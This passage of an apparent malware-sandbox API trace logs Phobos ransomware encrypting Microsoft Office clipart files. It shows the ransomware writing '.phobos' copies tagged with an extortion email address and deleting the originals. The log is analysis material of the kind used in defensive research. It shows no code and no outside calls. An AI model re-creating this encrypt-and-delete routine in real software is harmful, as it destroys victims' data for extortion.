office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.033] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2556) returned 1 [0060.033] CloseHandle (hObject=0x310) returned 1 [0060.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0060.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.033] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.033] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.034] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0060.034] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.034] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x9fc, lpOverlapped=0x0) returned 1 [0060.049] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa00, dwBufLen=0xa00 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa00) returned 1 [0060.049] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xa00, lpOverlapped=0x0) returned 1 [0060.049] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc590) returned 1 [0060.049] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.050] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.050] CryptDestroyKey (hKey=0x10dc590) returned 1 [0060.050] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.050] CryptDestroyKey (hKey=0x10dca50) returned 1 [0060.050] CloseHandle (hObject=0x310) returned 1 [0060.050] CloseHandle (hObject=0x2fc) returned 1 [0060.050] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0060.051] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.051] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5272) returned 1 [0060.051] CloseHandle (hObject=0x2fc) returned 1 [0060.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220 [0060.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.052] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.052] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.052] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0060.052] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.052] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1498, lpOverlapped=0x0) returned 1 [0060.094] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x14a0) returned 1 [0060.094] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x14a0, lpOverlapped=0x0) returned 1 [0060.095] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0060.095] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.095] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.095] CryptDestroyKey (hKey=0x10dc610) returned 1 [0060.095] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.095] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0060.095] CloseHandle (hObject=0x2fc) returned 1 [0060.095] CloseHandle (hObject=0x310) returned 1 [0060.096] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0060.097] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.097] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3016) returned 1 [0060.097] CloseHandle (hObject=0x310) returned 1 [0060.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0060.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.098] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.098] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.098] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc910) returned 1 [0060.098] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.098] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xbc8, lpOverlapped=0x0) returned 1 [0060.118] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbd0) returned 1 [0060.118] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xbd0, lpOverlapped=0x0) returned 1 [0060.119] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0060.119] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.119] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.119] CryptDestroyKey (hKey=0x10dc690) returned 1 [0060.119] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.119] CryptDestroyKey (hKey=0x10dc910) returned 1 [0060.119] CloseHandle (hObject=0x310) returned 1 [0060.119] CloseHandle (hObject=0x2fc) returned 1 [0060.120] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0060.120] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.121] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=812) returned 1 [0060.121] CloseHandle (hObject=0x2fc) returned 1 [0060.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x220 [0060.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.121] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.121] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.122] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0060.122] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.122] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x32c, lpOverlapped=0x0) returned 1 [0060.127] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x330, dwBufLen=0x330 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x330) returned 1 [0060.127] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x330, lpOverlapped=0x0) returned 1 [0060.127] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc9d0) returned 1 [0060.127] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.127] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.127] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0060.127] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.128] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0060.128] CloseHandle (hObject=0x2fc) returned 1 [0060.128] CloseHandle (hObject=0x310) returned 1 [0060.128] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0060.129] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.241] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=27050) returned 1 [0060.241] CloseHandle (hObject=0x338) returned 1 [0060.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0060.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.241] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.241] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0060.242] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc590) returned 1 [0060.242] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.242] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x69aa, lpOverlapped=0x0) returned 1 [0060.282] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x69b0, dwBufLen=0x69b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x69b0) returned 1 [0060.282] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x69b0, lpOverlapped=0x0) returned 1 [0060.283] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0060.283] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.283] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.283] CryptDestroyKey (hKey=0x10dc610) returned 1 [0060.283] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.283] CryptDestroyKey (hKey=0x10dc590) returned 1 [0060.283] CloseHandle (hObject=0x338) returned 1 [0060.284] CloseHandle (hObject=0x31c) returned 1 [0060.285] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0060.286] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0060.286] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=6996) returned 1 [0060.286] CloseHandle (hObject=0x31c) returned 1 [0060.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0060.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0060.287] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.287] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.287] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc850) returned 1 [0060.287] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.287] ReadFile (in: hFile=0x31c, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1b54, 